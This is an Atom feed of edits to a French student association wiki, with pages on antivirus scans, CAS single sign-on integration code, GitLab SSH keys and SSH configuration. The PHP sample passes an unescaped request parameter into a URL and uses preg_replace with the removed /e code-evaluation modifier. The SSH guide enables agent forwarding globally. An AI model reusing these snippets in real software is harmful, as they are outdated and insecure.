Programme d’installation pour [https://cloudgz.gravityzone.bitdefender.com/Packages/BSTWIN/0/setupdownloader_%5BaHR0cHM6Ly9jbG91ZGd6LWVjcy5ncmF2aXR5em9uZS5iaXRkZWZlbmRlci5jb20vUGFja2FnZXMvQlNUV0lOLzAvb0dZNW1UL2luc3RhbGxlci54bWw-bGFuZz1mci1GUg==%5D.exe Windows], [https://cloudgz.gravityzone.bitdefender.com/Packages/NIX/0/oGY5mT/setup_downloader.tar Linux] et [https://cloudgz.gravityzone.bitdefender.com/Packages/MAC/0/oGY5mT/setup_downloader.dmg Mac]. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Articles connexes ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Catégorie:Services]]&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Antivirus&amp;diff=8914</id>
		<title>Antivirus</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Antivirus&amp;diff=8914"/>
		<updated>2022-10-28T10:11:48Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Une page qui ressemble à quelque chose&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;En cas de détection d'une infection par la DSI, ton compte est bloqué le temps que tu nettoies ton appareil. Il faut pour cela effectuer un scan antivirus.&lt;br /&gt;
 &lt;br /&gt;
== Antivirus gratuits ==&lt;br /&gt;
&lt;br /&gt;
Les deux logiciels pour scanner son ordinateur gratuits recommandés par le BR sont [https://fr.malwarebytes.com/adwcleaner/ AdwCleaner] et [https://fr.malwarebytes.com/ Malwarebytes] (utilisation gratuite pendant 2 semaines. Pour une utilisation quotidienne, le BR ne conseille pas d'antivirus particulier.&lt;br /&gt;
&lt;br /&gt;
== BitDefender ==&lt;br /&gt;
&lt;br /&gt;
Depuis fin 2022, la DSI nous fournit quelques licences pour scanner son ordinateur avec BitDefender, vous avez en-dessous les liens d'installation, il faut désinstaller le logiciel après le scan (ce sont des licences tournantes uniquement pour effectuer des scans, à tout moment la DSI peut désactiver à distance la licence sur votre ordinateur).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Programme d’installation pour [https://cloudgz.gravityzone.bitdefender.com/Packages/BSTWIN/0/setupdownloader_%5BaHR0cHM6Ly9jbG91ZGd6LWVjcy5ncmF2aXR5em9uZS5iaXRkZWZlbmRlci5jb20vUGFja2FnZXMvQlNUV0lOLzAvb0dZNW1UL2luc3RhbGxlci54bWw-bGFuZz1mci1GUg==%5D.exe Windows], [https://cloudgz.gravityzone.bitdefender.com/Packages/NIX/0/oGY5mT/setup_downloader.tar Linux] et [https://cloudgz.gravityzone.bitdefender.com/Packages/MAC/0/oGY5mT/setup_downloader.dmg Mac]. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Articles connexes ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Catégorie:Services]]&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=WikiBR:Portail_communautaire&amp;diff=8909</id>
		<title>WikiBR:Portail communautaire</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=WikiBR:Portail_communautaire&amp;diff=8909"/>
		<updated>2022-10-27T16:38:05Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Page redirigée vers BR:Accueil&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[BR:Accueil]]&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=WikiBR:Portail_communautaire&amp;diff=8908</id>
		<title>WikiBR:Portail communautaire</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=WikiBR:Portail_communautaire&amp;diff=8908"/>
		<updated>2022-10-27T16:37:11Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Page créée avec « #Redirect [BR:Accueil] »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#Redirect [BR:Accueil]&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Login&amp;diff=8907</id>
		<title>Login</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Login&amp;diff=8907"/>
		<updated>2022-10-25T01:57:35Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Destination de redirection modifiée de WikiBR:Portail communautaire en BR:Accueil&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[BR:Accueil]]&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Login&amp;diff=8906</id>
		<title>Login</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Login&amp;diff=8906"/>
		<updated>2022-10-25T01:55:18Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Page de redirection pour la connexion car le CAS refuse les symboles spéciaux&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[WikiBR:Portail_communautaire]]&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Fichier:Yubico_personalization_tool.png&amp;diff=8901</id>
		<title>Fichier:Yubico personalization tool.png</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Fichier:Yubico_personalization_tool.png&amp;diff=8901"/>
		<updated>2022-08-26T14:14:50Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Capture d'écran de l'application Yubico personalization tool&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Capture d'écran de l'application Yubico personalization tool&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Authentification_CAS&amp;diff=8899</id>
		<title>Authentification CAS</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Authentification_CAS&amp;diff=8899"/>
		<updated>2022-08-26T13:30:42Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Ajout docker-cas&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sigma permet à des sites externes (binets en particulier) d'utiliser sa base de données pour authentifier les utilisateurs à travers le protocole CAS 3.0.&lt;br /&gt;
&lt;br /&gt;
Le serveur CAS est situé à l'adresse [https://cas.binets.fr/ cas.binets.fr] et est lié à la base de données Sigma. Si vous souhaitez que l'ensemble du personnel de l'École (élèves compris) puisse s'authentifier, vous pouvez utiliser le [https://metacas.binets.fr/ metacas.binets.fr] qui est lui lié au LDAP de l'École.&lt;br /&gt;
&lt;br /&gt;
Le webmaster du site en question doit auparavant faire une demande de mise en place de ce système en créant une tâche PaniX. Il doit alors donner :&lt;br /&gt;
* l'url complète de la page de login de son site (plus précisément, l'URL de callback)&lt;br /&gt;
* les informations auxquelles il souhaite accéder&lt;br /&gt;
* son choix entre cas et metacas&lt;br /&gt;
* une justification de la demande&lt;br /&gt;
Si la demande est acceptée, un membre du BR va alors inscrire son site dans notre base de données de sites externes.&lt;br /&gt;
&lt;br /&gt;
== Liste des informations disponibles == &lt;br /&gt;
&lt;br /&gt;
Tu peux demander l'accès aux informations&lt;br /&gt;
&lt;br /&gt;
* noms : prénom, nom, surnom, identifiant BR&lt;br /&gt;
* adresse mail&lt;br /&gt;
* téléphone&lt;br /&gt;
* photo : URL vers la photo TOL&lt;br /&gt;
* numéro de chambre&lt;br /&gt;
* date de naissance&lt;br /&gt;
* groupes : promo, section, binets …&lt;br /&gt;
* droits : droits dans les groupes associés (membre, speaker, admin, follower)&lt;br /&gt;
* nationalité&lt;br /&gt;
&lt;br /&gt;
== Pour les développeurs ==&lt;br /&gt;
&lt;br /&gt;
=== CAS de développement ===&lt;br /&gt;
&lt;br /&gt;
Pour le développement, il est possible d'utiliser un serveur CAS de test qui tourne dans un container Docker avec des données fictives, ce qui permet de tester facilement les différents privilèges et le fonctionnement de la connexion. Le projet est disponible sur [https://gitlab.binets.fr/br/docker-cas GitLab].&lt;br /&gt;
&lt;br /&gt;
=== En PHP ===&lt;br /&gt;
&lt;br /&gt;
Le plus simple en PHP est d'utiliser la librairie [https://github.com/apereo/phpCAS phpCAS].&lt;br /&gt;
&lt;br /&gt;
==== Code de la page d'identification en PHP ====&lt;br /&gt;
&lt;br /&gt;
Ci-dessous un exemple très simple et commenté de script d'authentification, à mettre sur votre site :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot; line&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
include 'CAS_auth.php';&lt;br /&gt;
if(!isset($_GET['ticket'])){&lt;br /&gt;
  CAS_do_auth();&lt;br /&gt;
}&lt;br /&gt;
$auth = CAS_get_response();&lt;br /&gt;
&lt;br /&gt;
// et voila !&lt;br /&gt;
// les données sont stockées dans $auth = array(key, value, ...);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(ne pas oublier d'enregistrer ces infos dans la Session après ...)&lt;br /&gt;
&lt;br /&gt;
==== Code des fonctions utilisées dans ''CAS_auth.php'' ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
function CAS_do_auth(){&lt;br /&gt;
  /**&lt;br /&gt;
   * url de la page de login, doit correspondre *exactement* à celle donnée lors de l'inscription&lt;br /&gt;
   */&lt;br /&gt;
  $site = 'http://monsite/login';&lt;br /&gt;
  /**&lt;br /&gt;
   * Il est possible de forcer la reconnexion et d'ignorer ainsi une connexion passée.&lt;br /&gt;
   */&lt;br /&gt;
  $reconnexion = false;&lt;br /&gt;
   header('Location: https://cas.binets.fr/login?service='.rawurlencode($site).'&amp;amp;renew='&lt;br /&gt;
.$reconnexion);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function CAS_get_response(){&lt;br /&gt;
   $site = 'http://monsite/login';&lt;br /&gt;
&lt;br /&gt;
  /**&lt;br /&gt;
   * Récupération de l'id de l'utilisateur correspondant à ce ticket, ainsi que les informations demandées&lt;br /&gt;
   */&lt;br /&gt;
  $response = file_get_contents('https://cas.binets.fr/serviceValidate?service='.rawurlencode($site ).'&amp;amp;ticket='&lt;br /&gt;
.$_GET['ticket']);&lt;br /&gt;
&lt;br /&gt;
  $doc = new DOMDocument();&lt;br /&gt;
  $doc-&amp;gt;loadXML($response);&lt;br /&gt;
&lt;br /&gt;
  if ($doc-&amp;gt;getElementsByTagName('authenticationFailure')-&amp;gt;length == 0) {&lt;br /&gt;
    $return = array();&lt;br /&gt;
    /**&lt;br /&gt;
     * Récupération de l'id de l'utilisateur&lt;br /&gt;
     */&lt;br /&gt;
    $return['id'] = $doc-&amp;gt;getElementsByTagName('user')-&amp;gt;item(0)-&amp;gt;textContent;&lt;br /&gt;
    /**&lt;br /&gt;
     * Récupération des données de l'utilisateur&lt;br /&gt;
     */&lt;br /&gt;
    foreach ($doc-&amp;gt;getElementsByTagName('attribute') as $attribute) {&lt;br /&gt;
      if (isset($return[$attribute-&amp;gt;getAttribute('name')])) {&lt;br /&gt;
        if (!is_array($return[$attribute-&amp;gt;getAttribute('name')])) {&lt;br /&gt;
          $return[$attribute-&amp;gt;getAttribute('name')] = [$return[$attribute-&amp;gt;getAttribute('name')]];&lt;br /&gt;
        }&lt;br /&gt;
        $return[$attribute-&amp;gt;getAttribute('name')][] = $attribute-&amp;gt;getAttribute('value');&lt;br /&gt;
      } else {&lt;br /&gt;
        $return[$attribute-&amp;gt;getAttribute('name')] = $attribute-&amp;gt;getAttribute('value');&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
    return $return;&lt;br /&gt;
  } else {&lt;br /&gt;
    return false;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bugs vécus ====&lt;br /&gt;
&lt;br /&gt;
Si l'authentification ne fonctionne pas sur certains navigateurs, vérifier les variables $_GET car elles sont peut être doublement encodées. Dans ce cas, soit refaire &amp;lt;code&amp;gt;urldecode&amp;lt;/code&amp;gt;, soit un &amp;lt;code&amp;gt;$s = str_replace('%22','&amp;quot;',$s);&amp;lt;/code&amp;gt; Si il y a un problème avec les encodages en &amp;lt;code&amp;gt;\u{whatever}&amp;lt;/code&amp;gt; pour les caractères accentués, voila une fonction qui peut vous servir (reconversion en UTF-8) :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
function jsonClean($s) {&lt;br /&gt;
   return preg_replace(&amp;quot;/\\\\u([a-f0-9]{4})/e&amp;quot;, &amp;quot;iconv('UCS-4LE','UTF-8',pack('V', hexdec('U$1')))&amp;quot;,$s);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Avec NodeJS === &lt;br /&gt;
&lt;br /&gt;
On utilise le paquet [https://www.npmjs.com/package/cas-authentication cas-authentication].&lt;br /&gt;
&lt;br /&gt;
La [https://www.npmjs.com/package/cas-authentication page descriptive] du package décrit bien comment utiliser le middleware.&lt;br /&gt;
&lt;br /&gt;
''Notes''&lt;br /&gt;
* Pour récupérer les attributs, préciser &amp;lt;code&amp;gt;session_info&amp;lt;/code&amp;gt; dans la configuration de &amp;lt;code&amp;gt;cas-authentification&amp;lt;/code&amp;gt;&lt;br /&gt;
* Pour un exemple basique, voir [https://gitlab.binets.fr/hadrien.renaud/cas-auth-validator ici]&lt;br /&gt;
&lt;br /&gt;
=== Avec Django ===&lt;br /&gt;
&lt;br /&gt;
* Installer le paquet django_cas_ng : &amp;lt;code&amp;gt;pip install django-cas-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Ajouter ce paquet à la liste des applications :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
INSTALLED_APPS = [&lt;br /&gt;
    ...&lt;br /&gt;
    'django_cas_ng',&lt;br /&gt;
    ...&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Configurer la connexion au serveur CAS du BR :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;py&amp;quot;&amp;gt;&lt;br /&gt;
AUTHENTICATION_BACKENDS = (&lt;br /&gt;
  'django.contrib.auth.backends.ModelBackend',&lt;br /&gt;
  'django_cas_ng.backends.CASBackend',&lt;br /&gt;
)&lt;br /&gt;
CAS_SERVER_URL = &amp;quot;https://cas.binets.fr/&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Renseigner les pages de connexion (dans my_project/urls.py par exemple):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from django_cas_ng.views import login, logout&lt;br /&gt;
&lt;br /&gt;
urlpatterns = [&lt;br /&gt;
    ...&lt;br /&gt;
    url(r'^login$', login, name='cas_ng_login'),&lt;br /&gt;
    url(r'^logout$', logout, name='cas_ng_logout'),&lt;br /&gt;
    ...&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Ajouter l'URL d'entrée : &amp;lt;code&amp;gt;LOGIN_URL = &amp;quot;login&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attention à forcer l'authentification pour les pages concernées :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from django.contrib.auth.decorators import login_required&lt;br /&gt;
&lt;br /&gt;
@login_required&lt;br /&gt;
def my_awesome_view(request):&lt;br /&gt;
    ...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''À noter :''&lt;br /&gt;
* le nom de l'utilisateur connecté se trouve dans : request.user.username (accessible dans n'importe quelle vue).&lt;br /&gt;
* les attributs du ldap peuvent être disponibles (demander les attributs nécessaires lors de la mise en place du CAS). Ils sont alors disponibles dans &amp;lt;code&amp;gt;request.session['attributes']&amp;lt;/code&amp;gt;.&lt;br /&gt;
* plus d'options de configuration sont présentées [[https://github.com/mingchen/django-cas-ng/tree/master/django_cas_ng ici]]&lt;br /&gt;
&lt;br /&gt;
=== Avec Flask ===&lt;br /&gt;
&lt;br /&gt;
On utilise le module [[https://github.com/ravomavain/Flask-CAS flask-cas]]. Voir un exemple [[https://gitlab.binets.fr/br/cas-authenticator/-/blob/master/app.py ici]].&lt;br /&gt;
&lt;br /&gt;
=== Avec Drupal ===&lt;br /&gt;
&lt;br /&gt;
L'implémentation de l'authentification avec un CMS comme Drupal n'est pas forcément évidente. Si vous avez une question, vous pouvez contacter Antoine Sauvage&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=GitLab&amp;diff=8860</id>
		<title>GitLab</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=GitLab&amp;diff=8860"/>
		<updated>2022-08-05T12:02:53Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[https://gitlab.binets.fr GitLab] est un service d'hébergement pour les projets administrés en utilisant Git: PSC, MODALs, services développés par le BR, projets de MAP.&lt;br /&gt;
&lt;br /&gt;
== Pourquoi GitLab ? ==&lt;br /&gt;
&lt;br /&gt;
Il existe d'autres plateformes d'hébergement de code contrôlé avec Git, comme [https://github.com/ GitHub], mais on peut aussi installer une copie du système chez soi, ce que font plusieurs écoles (comme nos voisins de l'ENSTA) et entreprises comme SpaceX, IBM, Inria ou Alibaba ; ce que l'on a décidé de faire. Le code posté sur gitlab.binets.fr est donc hébergé chez nous, sur un serveur du BR. Bien sûr, le service et les dépôts hébergés sont accessibles hors Plâtal, donc vous pouvez travailler et envoyer vos modifs où que vous soyez, dès que vous avez internet. Le GitLab propose les mêmes services d'hébergement et gestion de base que GitHub, mais aussi des services supplémentaires qui seraient payants sur cette plateforme :&lt;br /&gt;
&lt;br /&gt;
* nombre illimité de dépôts avec les options de sécurité que vous voulez&lt;br /&gt;
* faire des Wikis et des sites Web avec &amp;lt;code&amp;gt;GitLab Pages&amp;lt;/code&amp;gt;&lt;br /&gt;
* intégration continue (lancer les tests automatiquement dès que vous envoyez vos modifs) avec GitLab CI/CD&lt;br /&gt;
* hébergement de gros fichiers&lt;br /&gt;
* s'organiser en groupes et sous-groupes pour collaborer sur des projets en commun, comme le groupe BR (https://gitlab.binets.fr/br)&lt;br /&gt;
* issue tracking pour garder le fil des différents problèmes à résoudre et des tâches à attribuer sur le projet&lt;br /&gt;
* une interface intelligente, généreuse et disruptive. On peut trouver une liste détaillée des fonctionnalités proposées par GitLab [https://about.gitlab.com/features/ ici].&lt;br /&gt;
&lt;br /&gt;
== Guide : rajouter sa clef [[SSH]] sur le GitLab == &lt;br /&gt;
&lt;br /&gt;
Si vous venez de l'article [[Git]] vous avez vu qu'il est recommandé d'ajouter une clef SSH sur le GitLab pour faire ses accès au images des dépôts hébergés dessus en utilisant le protocole SSH. Cela n'a rien d'obligatoire, c'est juste du confort !&lt;br /&gt;
&lt;br /&gt;
Pour créer une clef, suivez le guide [[SSH]] et pour l'ajouter, allez dans le menu &amp;lt;code&amp;gt;SSH Keys&amp;lt;/code&amp;gt; dans la sidebar.&lt;br /&gt;
&lt;br /&gt;
Il suffit alors de suivre les instructions en ajoutant sa clef publique, et votre clef est prête à l'utilisation !&lt;br /&gt;
&lt;br /&gt;
Si tu utilises une clef avec un différent que celui par défaut, il faut l'ajouter dans ton fichier &amp;lt;code&amp;gt;~/.ssh/config&amp;lt;/code&amp;gt;&lt;br /&gt;
 Host gitlab.binets.fr&lt;br /&gt;
  PreferredAuthentications publickey&lt;br /&gt;
  IdentityFile ~/.ssh/example_com_rsa&lt;br /&gt;
&lt;br /&gt;
Pour plus d'informations, notamment si tu utilises plusieurs comptes, voir [https://docs.gitlab.com/ee/user/ssh.html ceci].&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=GitLab&amp;diff=8859</id>
		<title>GitLab</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=GitLab&amp;diff=8859"/>
		<updated>2022-08-05T12:00:16Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Consignes pour une clef avec un nom différent&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[https://gitlab.binets.fr GitLab] est un service d'hébergement pour les projets administrés en utilisant Git: PSC, MODALs, services développés par le BR, projets de MAP.&lt;br /&gt;
&lt;br /&gt;
== Pourquoi GitLab ? ==&lt;br /&gt;
&lt;br /&gt;
Il existe d'autres plateformes d'hébergement de code contrôlé avec Git, comme [https://github.com/ GitHub], mais on peut aussi installer une copie du système chez soi, ce que font plusieurs écoles (comme nos voisins de l'ENSTA) et entreprises comme SpaceX, IBM, Inria ou Alibaba ; ce que l'on a décidé de faire. Le code posté sur gitlab.binets.fr est donc hébergé chez nous, sur un serveur du BR. Bien sûr, le service et les dépôts hébergés sont accessibles hors Plâtal, donc vous pouvez travailler et envoyer vos modifs où que vous soyez, dès que vous avez internet. Le GitLab propose les mêmes services d'hébergement et gestion de base que GitHub, mais aussi des services supplémentaires qui seraient payants sur cette plateforme :&lt;br /&gt;
&lt;br /&gt;
* nombre illimité de dépôts avec les options de sécurité que vous voulez&lt;br /&gt;
* faire des Wikis et des sites Web avec &amp;lt;code&amp;gt;GitLab Pages&amp;lt;/code&amp;gt;&lt;br /&gt;
* intégration continue (lancer les tests automatiquement dès que vous envoyez vos modifs) avec GitLab CI/CD&lt;br /&gt;
* hébergement de gros fichiers&lt;br /&gt;
* s'organiser en groupes et sous-groupes pour collaborer sur des projets en commun, comme le groupe BR (https://gitlab.binets.fr/br)&lt;br /&gt;
* issue tracking pour garder le fil des différents problèmes à résoudre et des tâches à attribuer sur le projet&lt;br /&gt;
* une interface intelligente, généreuse et disruptive. On peut trouver une liste détaillée des fonctionnalités proposées par GitLab [https://about.gitlab.com/features/ ici].&lt;br /&gt;
&lt;br /&gt;
== Guide : rajouter sa clef [[SSH]] sur le GitLab == &lt;br /&gt;
&lt;br /&gt;
Si vous venez de l'article [[Git]] vous avez vu qu'il est recommandé d'ajouter une clef SSH sur le GitLab pour faire ses accès au images des dépôts hébergés dessus en utilisant le protocole SSH. Cela n'a rien d'obligatoire, c'est juste du confort !&lt;br /&gt;
&lt;br /&gt;
Pour créer une clef, suivez le guide [[SSH]] et pour l'ajouter, allez dans le menu &amp;lt;code&amp;gt;SSH Keys&amp;lt;/code&amp;gt; dans la sidebar.&lt;br /&gt;
&lt;br /&gt;
Il suffit alors de suivre les instructions en ajoutant sa clef publique, et votre clef est prête à l'utilisation !&lt;br /&gt;
&lt;br /&gt;
Si tu utilises une clef avec un différent que celui par défaut, il faut l'ajouter dans ton fichier &amp;lt;code&amp;gt;~/.ssh/config&amp;lt;/code&amp;gt;&lt;br /&gt;
 Host gitlab.binets.fr&lt;br /&gt;
  PreferredAuthentications publickey&lt;br /&gt;
  IdentityFile ~/.ssh/example_com_rsa&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=SSH&amp;diff=8858</id>
		<title>SSH</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=SSH&amp;diff=8858"/>
		<updated>2022-08-05T11:56:20Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Ajout clef 4096&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;SSH est un protocole permettant d'obtenir un accès Shell sur une machine distante en toute sécurité.&lt;br /&gt;
Il permet, via SCP, de transférer des fichiers entre diverses machines.&lt;br /&gt;
&lt;br /&gt;
Nous allons voir ici quelques options intéressantes.&lt;br /&gt;
&lt;br /&gt;
== Clé publique ==&lt;br /&gt;
Il est possible de se connecter en SSH à une machine sans avoir à taper son mot de passe !&lt;br /&gt;
&lt;br /&gt;
C'est parfois la seule manière, par exemple dans le cas des machines visibles à l'extérieur, depuis l'extérieur de l'X.&lt;br /&gt;
&lt;br /&gt;
=== Création de la clé ===&lt;br /&gt;
En local, sur une machine où l'on est le seul administrateur (machine perso) :&lt;br /&gt;
 ssh-keygen&lt;br /&gt;
Laisser la valeur par défaut pour le nom du fichier (~/.ssh/id_rsa) et taper une passphrase (longue et complexe). Ceci va générer en local un couple clé privée / clé publique, chiffrée en RSA. Au BR, on te conseille d'utiliser une clef RSA 4096 bits, tu peux aussi y ajouter un commentaire :&lt;br /&gt;
 ssh-keygen -t rsa -b 4096 -C &amp;quot;&amp;lt;comment&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Export vers les autres machines ===&lt;br /&gt;
Il faut ensuite envoyer le fichier contenant la clé publique (~/.ssh/id_rsa.pub) sur les machines auxquelles on veut se connecter :&lt;br /&gt;
==== Avec ssh-copy-id ====&lt;br /&gt;
 ssh-copy-id login_distant@machine_distante&lt;br /&gt;
==== Manuellement ====&lt;br /&gt;
Sur les mac, par exemple, ssh-copy-id n'est pas disponible. Il faut donc rajouter manuellement la clé publique à liste des clés autorisées sur la machine distante en copiant le contenu de ~/.ssh/id_rsa.pub (en local) dans .ssh/authorized_keys (sur la machine distante) :&lt;br /&gt;
* sur la machine locale :&lt;br /&gt;
 scp ~/.ssh/id_rsa.pub login_distant@machine_distante:~&lt;br /&gt;
* sur la machine distante :&lt;br /&gt;
 cat ~/id_rsa.pub &amp;gt;&amp;gt; ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
=== ssh-agent ===&lt;br /&gt;
Il s'agit d'un programme qui vient faciliter l'utilisation des clés privées : en le lançant au début de ta session graphique, il suffit de taper dans un shell&lt;br /&gt;
 ssh-add&lt;br /&gt;
pour qu'il demande la passphrase de la clé privée, puis la charger en mémoire : plus besoin de taper cette passphrase lors d'un SSH !&lt;br /&gt;
Tu peux indiquer par l'option ''-A'' dans ton ssh que tu souhaites ''forwarder'' l'agent : si tu as exporté ta clé publique sur les machines hostA et hostB, alors en faisant&lt;br /&gt;
 ssh -A hostA&lt;br /&gt;
puis, sur hostA&lt;br /&gt;
 ssh hostB&lt;br /&gt;
&lt;br /&gt;
le second ssh utilisera le ssh-agent qui tourne localement sur ton ordinateur pour récupérer la clé privée et s'authentifier auprès de hostB. Il devient alors intéressant d'utiliser l'option ForwardAgent (cf plus bas) pour pouvoir se balader librement entre les différentes machines.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Connection ===&lt;br /&gt;
Pour se connecter, on tape&lt;br /&gt;
 ssh login_distant@machine_distante&lt;br /&gt;
&lt;br /&gt;
Si on a lancé le ssh-agent avant (ssh-add), le client ssh va demander la passphrase de la clé, puis établir la connexion.&lt;br /&gt;
&lt;br /&gt;
=== Fonctionnement===&lt;br /&gt;
Lors d'un SSH par clé privée / clé publique&lt;br /&gt;
# le serveur ssh va indiquer au client &amp;quot;j'accepte les clés publiques suivantes&amp;quot; en lisant le fichier authorized_keys&lt;br /&gt;
# mon client va voir qu'il a la clé privée correspondant&lt;br /&gt;
# mon client me demander ma passphrase&lt;br /&gt;
# si la passphrase est bonn, mon client va établir le ssh sans me demander mon mot de passe user&lt;br /&gt;
&lt;br /&gt;
== Mémorisation de configuration SSH ==&lt;br /&gt;
&lt;br /&gt;
Il est possible de configurer SSH pour ne pas avoir à préciser le login ou le nom complet de la machine.&lt;br /&gt;
&lt;br /&gt;
Il faut éditer le fichier ''.ssh/config'' :&lt;br /&gt;
&lt;br /&gt;
 Host alias&lt;br /&gt;
   Hostname nom.complet.de.la.machine&lt;br /&gt;
   User login_distant&lt;br /&gt;
&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
On peut également y rajouter les options relatives au Proxy :&lt;br /&gt;
 ProxyCommand socat - PROXY:kuzh.polytechnique.fr:%h:%p,proxyport=8080&lt;br /&gt;
ou&lt;br /&gt;
 ProxyCommand connect -H kuzh.polytechnique.fr:8080 %h %p&lt;br /&gt;
ou celles relatives au transfert d'agent ssh :&lt;br /&gt;
 ForwardAgent yes&lt;br /&gt;
&lt;br /&gt;
Ainsi, &lt;br /&gt;
 ssh alias&lt;br /&gt;
sera traduit automatiquement en&lt;br /&gt;
 ssh -A -o ProxyCommand=&amp;quot;socat - PROXY:kuzh.polytechnique.fr:%h:%p,proxyport=8080&amp;quot; login_distant@nom.complet.de.la.machine&lt;br /&gt;
ou&lt;br /&gt;
 ssh -A -o ProxyCommand=&amp;quot;connect -H kuzh.polytechnique.fr:8080 %h %p&amp;quot; login_distant@nom.complet.de.la.machine&lt;br /&gt;
&lt;br /&gt;
